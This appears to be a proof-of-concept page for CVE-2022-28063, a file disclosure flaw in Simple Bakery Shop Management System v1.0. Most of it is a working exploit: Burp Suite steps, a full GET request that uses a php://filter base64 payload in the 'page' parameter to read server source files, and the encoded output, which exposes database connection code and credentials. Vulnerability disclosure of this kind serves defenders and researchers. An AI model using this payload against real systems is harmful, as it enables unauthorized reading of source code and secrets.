Headline
CVE-2022-28063: CVEs/POC.md at main · D4rkP0w4r/CVEs
Simple Bakery Shop Management System v1.0 contains a file disclosure via /bsms/?page=products.
Permalink
Simple Bakery Shop Management System File Disclosure
Note=> login to admin
Exploit
- Exploit with Burp Suite
http://192.168.1.101:8080/bsms/?page=products
- Use Burp Suite capture request and payload =>
Send
- Then decode
Base64
PD9waHANCg0KQ2xhc3MgREJDb25uZWN0aW9uew0KICAgIHByb3RlY3RlZCAkZGI7DQogICAgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXsNCiAgICAgICAgJHRoaXMtPmRiPSBuZXcgbXlzcWxpKCdsb2NhbGhvc3QnLCdyb290JywnJywnYnNtc19kYicpOw0KICAgICAgICBpZighJHRoaXMtPmRiKXsNCiAgICAgICAgICAgIGRpZSgnRGF0YWJhc2UgQ29ubmVjdGlvbiBGYWlsZXMuIEVycm9yOiAnLiR0aGlzLT5kYi0+ZXJyb3IpOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgZnVuY3Rpb24gZGJfY29ubmVjdCgpew0KICAgICAgICByZXR1cm4gJHRoaXMtPmRiOw0KICAgIH0NCiAgICBmdW5jdGlvbiBfX2Rlc3RydWN0KCl7DQogICAgICAgICAkdGhpcy0+ZGItPmNsb3NlKCk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBmb3JtYXRfbnVtKCRudW1iZXIgPSAnJywkZGVjaW1hbD0nJyl7DQogICAgaWYoaXNfbnVtZXJpYygkbnVtYmVyKSl7DQogICAgICAgICRleCA9IGV4cGxvZGUoIi4iLCRudW1iZXIpOw0KICAgICAgICAkZGVjX2xlbiA9IGlzc2V0KCRleFsxXSkgPyBzdHJsZW4oJGV4WzFdKSA6IDA7DQogICAgICAgIGlmKCFlbXB0eSgkZGVjaW1hbCkgfHwgaXNfbnVtZXJpYygkZGVjaW1hbCkpew0KICAgICAgICAgICAgcmV0dXJuIG51bWJlcl9mb3JtYXQoJG51bWJlciwkZGVjaW1hbCk7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgcmV0dXJuIG51bWJlcl9mb3JtYXQoJG51bWJlciwkZGVjX2xlbik7DQogICAgICAgIH0NCiAgICB9ZWxzZXsNCiAgICAgICAgcmV0dXJuICdJbnZhbGlkIGlucHV0Lic7DQogICAgfQ0KfQ0KDQokZGIgPSBuZXcgREJDb25uZWN0aW9uKCk7DQokY29ubiA9ICRkYi0+ZGJfY29ubmVjdCgpOw==
Vulnerable Code
Request
GET /bsms/?page=php://filter/convert.base64-encode/resource=DBConnection HTTP/1.1 Host: 192.168.1.101:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.101:8080/bsms/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0722dtqnb1dgvuono8uubajcae Connection: close